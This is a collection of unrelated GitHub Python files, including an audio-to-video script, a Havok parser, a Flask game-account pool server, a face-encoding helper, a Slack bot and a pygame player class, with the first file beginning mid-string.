temp_audio_path)\n\n    # load audio file\n    audio_clip = mp.AudioFileClip(temp_audio_path)\n\n    print(\"Processing video...\")\n\n    # load video\n    video_clip = mp.VideoFileClip(gif_path)\n\n    # loop the gif for the duration of the audio\n    num_loops = math.ceil(audio_clip.duration / video_clip.duration)\n    video_clip2 = video_clip.loop(n=num_loops)\n\n    # add the audio to the video\n    video_clip3 = video_clip2.set_audio(audio_clip)\n\n    print(\"Saving video...\")\n\n    # save result\n    video_clip3.write_videofile(output_path, verbose=False, logger=None)\n\n    # delete temp audio file\n    os.remove(temp_audio_path)\n\n#===============================================================================\n\nif __name__ == \"__main__\":\n    main()\n\n#===============================================================================\n","repo_name":"willfenton/slowed-reverb","sub_path":"slowed-reverb.py","file_name":"slowed-reverb.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"47"}
{"seq_id":"70025672464","text":"from .hclVertexSelectionInput import hclVertexSelectionInput\nimport struct\nfrom .hclVertexFloatInput import hclVertexFloatInput\n\n\nclass hclBonePlanesSetupObjectPerParticleAngle(object):\n    transformName: str\n    particlesMaxAngle: hclVertexSelectionInput\n    particlesMinAngle: hclVertexSelectionInput\n    originBoneSpace: vector4\n    axisBoneSpace: vector4\n    minAngle: hclVertexFloatInput\n    maxAngle: hclVertexFloatInput\n    stiffness: hclVertexFloatInput\n\n    def __init__(self, infile):\n        self.transformName = struct.unpack('>s', infile.read(0))  # TYPE_STRINGPTR:TYPE_VOID\n        self.particlesMaxAngle = hclVertexSelectionInput(infile)  # TYPE_STRUCT:TYPE_VOID\n        self.particlesMinAngle = hclVertexSelectionInput(infile)  # TYPE_STRUCT:TYPE_VOID\n        self.originBoneSpace = struct.unpack('>4f', infile.read(16))  # TYPE_VECTOR4:TYPE_VOID\n        self.axisBoneSpace = struct.unpack('>4f', infile.read(16))  # TYPE_VECTOR4:TYPE_VOID\n        self.minAngle = hclVertexFloatInput(infile)  # TYPE_STRUCT:TYPE_VOID\n        self.maxAngle = hclVertexFloatInput(infile)  # TYPE_STRUCT:TYPE_VOID\n        self.stiffness = hclVertexFloatInput(infile)  # TYPE_STRUCT:TYPE_VOID\n\n    def __repr__(self):\n        return \"<{class_name} transformName=\\\"{transformName}\\\", particlesMaxAngle={particlesMaxAngle}, particlesMinAngle={particlesMinAngle}, originBoneSpace={originBoneSpace}, axisBoneSpace={axisBoneSpace}, minAngle={minAngle}, maxAngle={maxAngle}, stiffness={stiffness}>\".format(**{\n            \"class_name\": self.__class__.__name__,\n            \"transformName\": self.transformName,\n            \"particlesMaxAngle\": self.particlesMaxAngle,\n            \"particlesMinAngle\": self.particlesMinAngle,\n            \"originBoneSpace\": self.originBoneSpace,\n            \"axisBoneSpace\": self.axisBoneSpace,\n            \"minAngle\": self.minAngle,\n            \"maxAngle\": self.maxAngle,\n            \"stiffness\": self.stiffness,\n        })\n","repo_name":"zephenryus/havok-reflection","sub_path":"havok_classes/hclBonePlanesSetupObjectPerParticleAngle.py","file_name":"hclBonePlanesSetupObjectPerParticleAngle.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"29248605121","text":"import json\nimport logging\nfrom Queue import Queue\nfrom threading import Thread\n\nfrom flask import Flask, request, jsonify\nfrom werkzeug.exceptions import abort\n\nfrom pgpool.config import cfg_get\nfrom pgpool.console import print_status, stats_conditions\nfrom pgpool.models import init_database, db_updater, Account, auto_release, flaskDb, set_webhook_queue\n\n# ---------------------------------------------------------------------------\nfrom pgpool.utils import parse_bool, rss_mem_size\nfrom pgpool.webhook import wh_updater, load_filters\n\nlogging.basicConfig(level=logging.INFO,\n    format='%(asctime)s [%(threadName)16s][%(module)14s][%(levelname)8s] %(message)s')\n\n# Silence some loggers\nlogging.getLogger('werkzeug').setLevel(logging.WARNING)\n\nlog = logging.getLogger(__name__)\n\n# ---------------------------------------------------------------------------\n\napp = Flask(__name__)\n\n\n\n@app.route('/', methods=['GET'])\ndef index():\n    return \"PGPool running!\"\n\n@app.route('/status', methods=['GET'])\ndef status():\n\n    headers = [\"Condition\", \"L1-29\", \"L30+\", \"unknown\", \"TOTAL\"]\n    lines = \"<style> th,td { padding-left: 10px; padding-right: 10px; border: 1px solid #ddd; } table { border-collapse: collapse } td { text-align:center }</style>\"\n    lines += \"Mem Usage: {} | DB Queue Size: {} <br><br>\".format(rss_mem_size(), db_updates_queue.qsize())\n\n    lines += \"<table><tr>\"\n    for h in headers:\n        lines += \"<th>{}</th>\".format(h)\n\n    for c in stats_conditions:\n        cursor = flaskDb.database.execute_sql('''\n            select (case when level < 30 then \"low\" when level >= 30 then \"high\" else \"unknown\" end) as category, count(*) from account\n            where {}\n            group by category\n        '''.format(c[1]))\n\n        low = 0\n        high = 0\n        unknown = 0\n        for row in cursor.fetchall():\n            if row[0] == 'low':\n                low = row[1]\n            elif row[0] == 'high':\n                high = row[1]\n            elif row[0] == 'unknown':\n                unknown = row[1]\n\n        lines += \"<tr>\"\n        lines += \"<td>{}</td><td>{}</td><td>{}</td><td>{}</td><td>{}</td>\".format(c[0], low, high, unknown, low + high + unknown)\n        lines += \"</tr>\"\n\n    lines += \"</table>\"\n    return lines\n\n@app.route('/account/request', methods=['GET'])\ndef get_accounts():\n    system_id = request.args.get('system_id')\n    if not system_id:\n        log.error(\"Request from {} is missing system_id\".format(request.remote_addr))\n        abort(400)\n\n    count = int(request.args.get('count', 1))\n    min_level = int(request.args.get('min_level', 1))\n    max_level = int(request.args.get('max_level', 40))\n    reuse = parse_bool(request.args.get('reuse')) or parse_bool(request.args.get('include_already_assigned'))\n    banned_or_new = parse_bool(request.args.get('banned_or_new'))\n    # lat = request.args.get('latitude')\n    # lat = float(lat) if lat else lat\n    # lng = request.args.get('longitude')\n    # lng = float(lng) if lng else lng\n    log.info(\n        \"System ID [{}] requested {} accounts level {}-{} from {}\".format(system_id, count, min_level, max_level,\n                                                                          request.remote_addr))\n    accounts = Account.get_accounts(system_id, count, min_level, max_level, reuse, banned_or_new)\n    if len(accounts) < count:\n        log.warning(\"Could only deliver {} accounts.\".format(len(accounts)))\n    return jsonify(accounts[0] if accounts and count == 1 else accounts)\n\n@app.route('/account/requestLure', methods=['GET'])\ndef get_LureAccounts():\n    count = int(request.args.get('count', 1))\n    min_level = int(request.args.get('min_level', 1))\n    max_level = int(request.args.get('max_level', 40))\n    log.info(\n        \"Lure scout requested {} accounts level {}-{} from {}\".format(count, min_level, max_level,\n                                                                          request.remote_addr))\n    accounts = Account.get_LureAccounts(count, min_level, max_level)\n    if len(accounts) < count:\n        log.warning(\"Could only deliver {} accounts.\".format(len(accounts)))\n    return jsonify(accounts[0] if accounts and count == 1 else accounts)\n\n@app.route('/account/release', methods=['POST'])\ndef release_accounts():\n    data = json.loads(request.data)\n    if isinstance(data, list):\n        for update in data:\n            update['system_id'] = None\n            db_updates_queue.put(update)\n    else:\n        data['system_id'] = None\n        db_updates_queue.put(data)\n    return 'ok'\n\n\n@app.route('/account/update', methods=['POST'])\ndef accounts_update():\n    if db_updates_queue.qsize() >= cfg_get('max_queue_size'):\n        msg = \"DB update queue full ({} items). Ignoring update.\".format(db_updates_queue.qsize())\n        log.warning(msg)\n        return msg, 503\n\n    data = json.loads(request.data)\n    if isinstance(data, list):\n        for update in data:\n            db_updates_queue.put(update)\n    else:\n        db_updates_queue.put(data)\n    return 'ok'\n\n@app.route('/account/add', methods=['GET','POST'])\ndef account_add():\n\n    def load_accounts(s):\n        accounts = []\n        for line in s.splitlines():\n            if line.strip() == \"\":\n                continue\n            auth = usr = pwd = None\n            fields = line.split(\",\")\n            if len(fields) == 3:\n                auth = fields[0].strip()\n                usr = fields[1].strip()\n                pwd = fields[2].strip()\n            elif len(fields) == 2:\n                auth = 'ptc'\n                usr = fields[0].strip()\n                pwd = fields[1].strip()\n            elif len(fields) == 1:\n                fields = line.split(\":\")\n                auth = 'ptc'\n                usr = fields[0].strip()\n                pwd = fields[1].strip()\n            if auth is not None:\n                accounts.append({\n                    'auth_service': auth,\n                    'username': usr,\n                    'password': pwd\n                })\n        return accounts\n\n    def force_account_condition(account, condition):\n        account.ban_flag = 0\n        if condition == 'good':\n            account.banned = 0\n            account.shadowbanned = 0\n            account.captcha = 0\n        elif condition == 'banned':\n            account.banned = 1\n            account.shadowbanned = 0\n            account.captcha = 0\n        elif condition == 'blind':\n            account.banned = 0\n            account.shadowbanned = 1\n            account.captcha = 0\n        elif condition == 'captcha':\n            account.banned = 0\n            account.shadowbanned = 0\n            account.captcha = 1\n\n    def add_account(a):\n        account, created = Account.get_or_create(username=a.get('username'))\n        account.auth_service = a.get('auth_service', 'ptc')\n        account.password = a['password']\n        account.level = data.get('level', 1)\n        if data.get('condition', 'unknown') != 'unknown':\n            force_account_condition(account, data['condition'])\n        account.save()\n        return True\n\n    if request.method == 'POST':\n        if 'accounts' in request.form:\n            data = request.form\n            accounts = load_accounts(data.get('accounts'))\n        elif 'accounts' in request.args:\n            data = request.args\n            accounts = load_accounts(data.get('accounts'))\n        else:\n            data = request.get_json()\n            if data:\n                accounts = data.get('accounts', [])\n            else:\n                accounts = []\n\n        if data is None or len(accounts) == 0:\n            msg = \"No accounts provided, or data not parseable\"\n            log.warning(msg)\n            return msg, 503\n\n        if isinstance(accounts, list):\n            n = 0\n            for acc in accounts:\n                if add_account(acc):\n                    n += 1\n            return \"Successfully added {} accounts.\".format(n)\n        else:\n            add_account(accounts)\n            return \"Successfully added 1 account.\"\n    else:\n        page = \"\"\"<form method=POST>\n                   <table>\n                   <tr>\n                   <td style='padding: 10px'>Level: <input type='number' name='level' min='0' max='40' style='width: 4em'></td>\n                   <td>Condition:\n                   <select name='condition'>\n                        <option value='unknown'></option>\n                        <option value='good'>Good</option>\n                        <option value='blind'>Blind</option>\n                        <option value='banned'>Banned</option>\n                        <option value='captcha'>Captcha</option>\n                   </select></td>\n                   </tr>\n                   <tr> </tr>\n                   <tr>\n                   <td colspan=2><textarea name='accounts' rows='15' style='width: 100%' placeholder='auth,username,password'></textarea></td>\n                   </tr>\n                   <tr>\n                   <td><input type='submit' value='Submit'></td>\n                   </tr>\n                   </table>\n                   </form>\n               \"\"\"\n        return page\n\n\ndef run_server():\n    app.run(threaded=True, host=cfg_get('host'), port=cfg_get('port'))\n\n# ---------------------------------------------------------------------------\n\nlog.info(\"PGPool starting up...\")\n\n# WH updates queue\nwh_updates_queue = None\nif not cfg_get('wh_filter'):\n    log.info('Webhook disabled.')\nelse:\n    log.info('Webhook enabled for events; loading filters from %s',\n             cfg_get('wh_filter'))\n    if not load_filters(cfg_get('wh_filter')):\n        log.warning(\"Unable to load webhook filters from {}. Exiting...\".format(cfg_get('wh_filter')))\n        raise SystemExit\n    wh_updates_queue = Queue()\n    set_webhook_queue(wh_updates_queue)\n    # Thread to process webhook updates.\n    for i in range(cfg_get('wh_threads')):\n        log.debug('Starting wh-updater worker thread %d', i)\n        t = Thread(target=wh_updater, name='wh-updater-{}'.format(i), args=(wh_updates_queue,))\n        t.daemon = True\n        t.start()\n\ndb = init_database(app)\n\n# DB Updates\ndb_updates_queue = Queue()\n\nt = Thread(target=db_updater, name='db-updater',\n           args=(db_updates_queue, db))\nt.daemon = True\nt.start()\n\nif cfg_get('account_release_timeout') > 0:\n    log.info(\n        \"Starting auto-release thread releasing accounts every {} minutes.\".format(cfg_get('account_release_timeout')))\n    t = Thread(target=auto_release, name='auto-release')\n    t.daemon = True\n    t.start()\nelse:\n    log.info(\"Account auto-releasing DISABLED.\")\n\n# Start thread to print current status and get user input.\nt = Thread(target=print_status,\n           name='status_printer', args=('logs', db_updates_queue))\nt.daemon = True\nt.start()\n\nrun_server()\n","repo_name":"SenorKarlos/PGPool","sub_path":"pgpool.py","file_name":"pgpool.py","file_ext":"py","file_size_in_byte":10745,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"31737447069","text":"#Python Program to Take in the Marks of 5 Subjects and Display the Grade\n\n#subjectList = [int(input(\"enter subject %d : \"%i)) for i in range(1,int(input(\"enter n value : \"))+1)]\n#print(subjectList)\n\ngetSubjectList = lambda msg1, msg2 : [int(input(\"{} : \".format(msg1)%i)) for i in range(1,int(input(\"{} : \".format(msg2)))+1)]\n\ndef getGrade(subjectList) :\n    '''return grade of given list, parameter is list of subjects score'''\n    grade = ''\n    avgScore = sum(subjectList)/len(subjectList)\n    if avgScore >= 90 :\n        grade = 'A'\n    elif avgScore >= 80 and avgScore < 90 :\n        grade = 'B'\n    elif avgScore >= 70 and avgScore < 80 :\n        grade = 'C'\n    elif avgScore >= 60 and avgScore < 70 :\n        grade = 'D'\n    else :\n        grade = 'F'\n    return grade\n\ndef cal_grade() :\n    try :\n        subjectMarksList = getSubjectList('enter subject %d marks','How many Subjects would like to calucate grade')\n        grade = getGrade(subjectMarksList)\n        print('Grade is %s'%grade)\n    except(ValueError,ZeroDivisionError)  as ex :\n        print(ex)\n    except Exception as ex :\n        print(ex)\n    except Error as err :\n        print(err)\n    \ncal_grade()\n          \n\n","repo_name":"thanneeruvenu/Python_Online_Course","sub_path":"python-prog/Display_Grade_Of_Given_5_Subjects.py","file_name":"Display_Grade_Of_Given_5_Subjects.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"14594531595","text":"def load_data(filename, rank_name):\n    with open(filename) as f:\n        data = f.readlines()\n\n    ranks = {}\n    ordered = []\n    for line in data:\n        line_data = line.split(\",\")\n        name = line_data[0]\n        score = line_data[1]\n        ranks[name] = float(score)\n        ordered.append(name)\n\n    return dict(ranks=ranks, ordered=ordered, name=rank_name)\n\n\ndef have_k_greater_than_T(seen, k, T):\n    cnt = 0\n    for num in seen.values():\n        if num >= T:\n            cnt += 1\n    return cnt >= k\n\n\ndef ta_aggregation(files, k, aggregation_func):\n    dicts_lst = []\n    for file in files:\n        dicts_lst.append(load_data(file, file))\n\n    i = 0\n    T = -1\n    seen = {}\n    smallest_seen = {}\n\n    while not (have_k_greater_than_T(seen, k, T)):\n        # iterate over all files\n        for dict in dicts_lst:\n            if i < len(dict[\"ordered\"]):\n                dict_name = dict[\"name\"]\n                current = dict[\"ordered\"][i]\n                all_ranks = [d[\"ranks\"][current] for d in dicts_lst]\n                current_val = aggregation_func(all_ranks)\n                seen[current] = current_val\n                smallest_seen[dict_name] = dict[\"ranks\"][current]\n\n        # update T\n        T = aggregation_func(smallest_seen.values())\n        i += 1\n\n    # sort seen\n    ans = [(name, seen[name]) for name in seen]\n    ans.sort(key=lambda tup: tup[1], reverse=True)\n    ans = ans[:k]\n    return ans\n\na = ta_aggregation([\"rank1.txt\", \"rank2.txt\", \"rank3.txt\"], 3, lambda x: sum(x)/len(x))\n","repo_name":"tomerfatael/data_management_hw4","sub_path":"question1a.py","file_name":"question1a.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17306361028","text":"# -*- coding: utf-8 -*-\r\nimport re\r\n\r\n\r\nclass Data(object):\r\n    def __init__(self, file_path):\r\n        self.file_path = file_path\r\n        self.raw_text = None\r\n        self.corpus = self._load_data()\r\n\r\n    def _load_data(self):\r\n        \"\"\"加载原始文档\"\"\"\r\n        sentence = open(self.file_path, 'r', encoding='utf-8', errors='ignore').read()\r\n\r\n        sentence = sentence.encode('utf-8').decode('utf-8-sig')\r\n        sentence = re.sub('[0-9 ]', '', sentence.replace('\\n', ''))\r\n        return sentence\r\n","repo_name":"MTleen/202005-tf_idf","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"26431989573","text":"#### PART OF THIS CODE IS USING CODE FROM VICTOR SY WANG: https://github.com/iwantooxxoox/Keras-OpenFace/blob/master/utils.py ####\n\nimport numpy as np\n\n\n\n\n\n\ndef img_to_encoding(images, model):\n    # 这里image的格式就是opencv读入后的格式\n    images = images[...,::-1] # Color image loaded by OpenCV is in BGR mode. But Matplotlib displays in RGB mode. 这里的操作实际是对channel这一dim进行reverse，从BGR转换为RGB\n    images = np.around(images/255.0, decimals=12) # np.around是四舍五入，其中decimals是保留的小数位数,这里进行了归一化\n    # https://stackoverflow.com/questions/44972565/what-is-the-difference-between-the-predict-and-predict-on-batch-methods-of-a-ker\n    if images.shape[0] > 1:\n        embedding = model.predict(images, batch_size = 128) # predict是对多个batch进行预测，这里的128是尝试后得出的内存能承受的最大值\n    else:\n        embedding = model.predict_on_batch(images) # predict_on_batch是对单个batch进行预测\n    # 报错，operands could not be broadcast together with shapes (2249,128) (2249,)，因此要加上keepdims = True\n    embedding = embedding / np.linalg.norm(embedding, axis = 1, keepdims = True) # 注意这个项目里用的keras实现的facenet模型没有l2_norm，因此要在这里加上\n    \n    return embedding","repo_name":"zhangfei13/face_recognition_using_opencv_keras_scikit-learn","sub_path":"fr_utils.py","file_name":"fr_utils.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20042386923","text":"from lxml.etree import parse\nimport time\n\ndoc = parse(\"/Users/ianbicking/Downloads/ianbickingablog.wordpress.2013-03-29 (1).xml\")\nchannel = doc.getroot()[0]\nitems = channel.findall(\"item\")\n\nfor item in items:\n    title = item.find(\"title\").text.strip()\n    link = item.find(\"link\").text.strip()\n    date = item.find(\"pubDate\").text.strip().split(\"+\")[0].strip()\n    date = time.strptime(date, \"%a, %d %b %Y %H:%M:%S\")\n    date = time.strftime(\"%B %Y\", date)\n    print ('<li><a href=\"%(link)s\">%(title)s</a> (%(date)s)</li>'\n           % dict(\n            link=link, title=title, date=date))\n","repo_name":"ianb/blog","sub_path":"bin/archivist.py","file_name":"archivist.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"}
{"seq_id":"4871760705","text":"import os\nimport time\nimport logging\nfrom slack_sdk import WebClient\nfrom slack_sdk.errors import SlackApiError\n\n\ndef auth_slack():\n    return os.environ.get(\"SLACK_BOT_TOKEN\")\n\n\ndef post_message_to_slack(slack_client, msg, attachments=None, channel_id=None):\n\n    try:\n        if channel_id:\n            slack_client.chat_postMessage(\n                channel=channel_id,\n                text=msg,\n                attachments=attachments,\n            )\n        else:\n            slack_client.chat_postMessage(\n                channel=os.environ.get(\"SLACK_CHANNEL_NAME\"),\n                text=msg,\n                attachments=attachments,\n            )\n    except SlackApiError as e:\n        # You will get a SlackApiError if \"ok\" is False\n        assert e.response[\"ok\"] is False\n        assert e.response[\"error\"]  # str like 'invalid_auth', 'channel_not_found'\n        print(f\"Got an error: {e.response['error']}\")\n\n\ndef slackbot(msg, attachments=None, channel_id=None):\n\n    slack_bot_token = auth_slack()\n    slack_client = WebClient(slack_bot_token)\n    post_message_to_slack(slack_client, msg, attachments, channel_id)\n","repo_name":"cybera/twitter_slack_bot","sub_path":"bot_files/src/slack_bot.py","file_name":"slack_bot.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"22676031280","text":"# cell_tuning.py - tune individual cell types\n#\n# v 1.8.31\n# rev 2015-12-04 (SL: minor)\n# last major: (MS: Updated to work with present version of code)\n\n# change the backend for matplotlib\nimport matplotlib as mpl \n\n# import plt and FigStd\nimport matplotlib.pyplot as plt \nfrom ..fn.axes_create import FigStd\n\nfrom neuron import h as nrn\nnrn.load_file(\"stdrun.hoc\")\n\nfrom ..fn.cells.L5_pyramidal import L5Pyr\nfrom ..fn.cells.L2_pyramidal import L2Pyr\n\n# All units for time: ms\n\ndef stimulus(seg, file_prefix):\n    stim = nrn.IClamp(seg)\n    stim.delay = 50.\n    stim.dur = 100\n    stim.amp = 1.\n    nrn.tstop = 200.\n\n    v_e = nrn.Vector()\n    v_e.record(seg._ref_v)\n\n    t_vec = nrn.Vector()\n    t_vec.record(nrn._ref_t)\n\n    nrn.run()\n\n    data_file = nrn.File()\n    data_file.wopen(file_prefix+'.dat')\n    \n    for tpoint, vval in zip(t_vec, v_e):\n        data_file.printf(\"%03.3f\\t%5.4f\\n\", tpoint, vval)\n\n    data_file.close()\n\n    # create a figure\n    testfig = FigStd()\n    testfig.ax0.hold(True)\n\n    # plot various bits of data\n    testfig.ax0.plot(t_vec, v_e)\n\n    # set some axes properties\n    testfig.ax0.set_ylim(-80, 50)\n\n    # save figure as 2 different formats\n    plt.savefig(file_prefix+'.png')\n    testfig.close()\n\nif __name__ == \"__main__\":\n    nrn(\"dp_total = 0.\")\n\n    # create instanced of L5Pyr and L2Pyr\n    cell_L5 = L5Pyr((0., 0., 0.))\n    cell_L2 = L2Pyr((0., 0., 0.))\n\n    # give cells stimulus. Record time and voltage. Save to dat file. Plot.\n    stimulus(cell_L5.soma(0.5), 'L5PN')\n    stimulus(cell_L2.soma(0.5), 'L2PN')\n","repo_name":"nosimpler/s1beta","sub_path":"dev_examples/cell_tuning.py","file_name":"cell_tuning.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27484591889","text":"# serialize and deserialize methods with md5 hash as id\nimport hashlib\n\n# node with their sockets\nfrom server_config import NODES\n\n\nclass NodeRing():\n    # creator of ring\n    def __init__(self, nodes):\n        assert len(nodes) > 0\n        self.nodes = nodes\n\n    # get node's socket by index\n    def get_node(self, key_hex):\n        # the md5 hash was digest by hex, so convert to int base on 16\n        key = int(key_hex, 16)\n        # get the node index by modulus\n        node_index = key % len(self.nodes)\n        # return the socket of the node\n        return self.nodes[node_index]\n\n\ndef test():\n    # create a ring with provided Nodes sockets\n    ring = NodeRing(nodes=NODES)\n    # get the node socket of provided md5 hash value\n    node = ring.get_node('9ad5794ec94345c4873c4e591788743a')\n    print(node)\n    print(ring.get_node('ed9440c442632621b608521b3f2650b8'))\n\n\n# Uncomment to run the above local test via: python3 node_ring.py\nif __name__ == \"__main__\":\n    test()\n","repo_name":"cipopic/LRU-Cache-and-Bloom-Filter","sub_path":"node_ring.py","file_name":"node_ring.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"12484342344","text":"import pygame\r\nfrom support import hent_mappe\r\nfrom settings import screen_width, screen_height, tile_size\r\n\r\n\r\nclass Player(pygame.sprite.Sprite):\r\n    def __init__(self, pos, surface):\r\n        super().__init__()\r\n        self.hent_karakter()\r\n        self.frame_index = 0\r\n        self.animasjon_hastighet = 0.15 #Hvor ofte animasjoner skal oppdateres\r\n        self.image = self.animasjoner[\"idle\"][self.frame_index]\r\n        self.rect = self.image.get_rect(topleft = pos)\r\n        \r\n        #Todimensjonal vektor fra pygame\r\n        self.direction = pygame.math.Vector2()\r\n        self.speed = 6\r\n        self.gravity = 0.981\r\n        self.jump_speed = -18\r\n        \r\n        #Spiller status\r\n        self.status = \"idle\"\r\n        self.retning_høyre = True\r\n        self.on_ground = False\r\n        self.on_ceiling = False\r\n        self.on_left = False\r\n        self.on_right = False\r\n        \r\n        self.font_size = 64\r\n        self.font = pygame.font.Font(\"font/pixel_font.ttf\" , self.font_size)\r\n        self.TEKST_FARGE = \"red\"\r\n        \r\n        #Skjermen\r\n        self.screen = pygame.display.set_mode((screen_width, screen_height))\r\n        self.display_surface = surface\r\n        \r\n    \r\n    \r\n    def hent_karakter(self):\r\n        karakter_mappe = \"bilder/karakterer/trollmann/\"\r\n        self.animasjoner = {\"idle\":[], \"run\":[], \"jump\":[]}\r\n        \r\n        for animasjon in self.animasjoner.keys():\r\n            vei_til_mappe = karakter_mappe + animasjon\r\n            self.animasjoner[animasjon] = hent_mappe(vei_til_mappe)\r\n            \r\n        \r\n    def animer(self):\r\n        animasjon = self.animasjoner[self.status]\r\n        \r\n        self.frame_index += self.animasjon_hastighet\r\n        \r\n        #Gjentar animasjoner etter at vi har gått igjennom alle animasjonene i mappen\r\n        if self.frame_index >= len(animasjon):\r\n            self.frame_index = 0\r\n            \r\n        image = animasjon[int(self.frame_index)]\r\n        \r\n        if self.retning_høyre == True:\r\n            self.image = image\r\n        \r\n        #Hvis man snur retning\r\n        else:\r\n            flipped_image = pygame.transform.flip(image, True, False)\r\n                                                 #(bildet, snu om x-akse, snu om y-akse)\r\n            self.image = flipped_image\r\n        \r\n        \r\n        if self.on_ground and self.on_right:\r\n            self.rect = self.image.get_rect(bottomright = self.rect.bottomright)\r\n        elif self.on_ground and self.on_left:\r\n            self.rect = self.image.get_rect(bottomleft = self.rect.bottomleft)\r\n        elif self.on_ground:\r\n            self.rect = self.image.get_rect(midbottom = self.rect.midbottom)\r\n        if self.on_ceiling and self.on_right:\r\n            self.rect = self.image.get_rect(topright = self.rect.topright)\r\n        elif self.on_ceiling and self.on_left:\r\n            self.rect = self.image.get_rect(topleft = self.rect.topleft)\r\n        elif self.on_ground:\r\n            self.rect = self.image.get_rect(midbottom = self.rect.midbottom)\r\n        elif self.on_ceiling:\r\n            self.rect = self.image.get_rect(midtop = self.rect.midtop)\r\n        \r\n\r\n            \r\n    def get_input(self):\r\n        keys = pygame.key.get_pressed()\r\n        \r\n        if keys[pygame.K_d] or keys[pygame.K_RIGHT]:\r\n            self.direction.x = 1\r\n            self.retning_høyre = True\r\n        elif keys[pygame.K_a] or keys[pygame.K_LEFT]:\r\n            self.direction.x = -1\r\n            self.retning_høyre = False\r\n        else:\r\n            self.direction.x = 0\r\n            \r\n        if (keys[pygame.K_SPACE] or keys[pygame.K_UP]) and self.on_ground:\r\n            self.jump()\r\n            #pygame.mixer.music.load(\"lyd/jump.wav\")\r\n            #pygame.mixer.music.play()\r\n            \r\n            \r\n            \r\n            \r\n    #Finner ut hvordan spilleren beveger seg\r\n    def get_status(self):\r\n        if self.direction.y < 0:\r\n            self.status = \"jump\"\r\n        \r\n        #Siden vår metode vertikal kollisjon oppdaterer y-posisjonen etter at gravitasjonen har dratt den ned 0.8 i y retning, må vi skrive at y-retningen må være større enn 0.8\r\n        elif self.direction.y > self.gravity:\r\n            self.status = \"idle\"\r\n        \r\n        else:\r\n            if self.direction.x != 0:\r\n                self.status = \"run\"\r\n            else:\r\n                self.status = \"idle\"\r\n        \r\n    def tegnTekst(self,tekst, font, tekst_farge):\r\n        tekst = self.font.render(tekst, True, tekst_farge)\r\n        tekst_rect = tekst.get_rect(center = (screen_width, screen_height))\r\n        screen.blit(tekst, tekst_rect)\r\n    \r\n    \r\n    def gameOver(self):\r\n        #Sjekker om spilleren er under skjermen. I så fall er det gameOver\r\n        if self.rect.y > screen_height:\r\n            font_size = 16\r\n            font = pygame.font.Font(\"font/pixel_font.ttf\" , font_size)\r\n\r\n            tekst = font.render(\"Synd, trist, leit, du lever ikke lenger. Trykk krysset og start igjen!\", True, \"green\", \"blue\")\r\n            tekst_rect = tekst.get_rect()\r\n            tekst_rect.center = (screen_width // 2, screen_height // 2)\r\n            \r\n            pygame.mixer.music.stop()\r\n            \"\"\"\r\n            pygame.mixer.music.load(\"lyd/gameOver.wav\")\r\n            pygame.mixer.music.play()\r\n            \"\"\"\r\n            gameOver_bilde = pygame.image.load(\"bilder/bakgrunn/gameOver.png\")\r\n            gameOver_bilde = pygame.transform.scale(gameOver_bilde, (screen_width, screen_height))\r\n            \r\n            self.screen.blit(gameOver_bilde, (0,0))\r\n            #self.screen.fill(\"black\")\r\n            \r\n            self.display_surface.blit(tekst, tekst_rect)\r\n            \r\n            run = False\r\n            \r\n    def vinn(self):\r\n        font_size = 32\r\n        font = pygame.font.Font(\"font/pixel_font.ttf\" , font_size)\r\n\r\n        tekst = font.render(\"Gratulerer, du vant!\", True, \"green\", \"blue\")\r\n        tekst_rect = tekst.get_rect()\r\n        tekst_rect.center = (screen_width // 2, screen_height // 2)\r\n        \r\n        if self.on_ground and self.rect.y < -10:\r\n            self.screen.fill(\"green\")\r\n            \r\n            self.display_surface.blit(tekst, tekst_rect)\r\n            \r\n            pygame.mixer.music.stop()\r\n            \r\n            \"\"\"\r\n            pygame.mixer.music.load(\"lyd/vinn.wav\")\r\n            pygame.mixer.music.play()\r\n            \"\"\"\r\n        \r\n    def apply_gravity(self):\r\n        self.direction.y += self.gravity\r\n        self.rect.y += self.direction.y\r\n        \r\n    def jump(self):\r\n        self.direction.y = self.jump_speed\r\n        \r\n    \r\n    def update(self):\r\n        self.get_input()\r\n        self.get_status()\r\n        self.animer()\r\n        self.gameOver()\r\n        self.vinn()\r\n        \r\n\r\n        \r\n        \r\n        ","repo_name":"PhilipGodager/PhilipGodager.github.io","sub_path":"mage_knight/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":6777,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
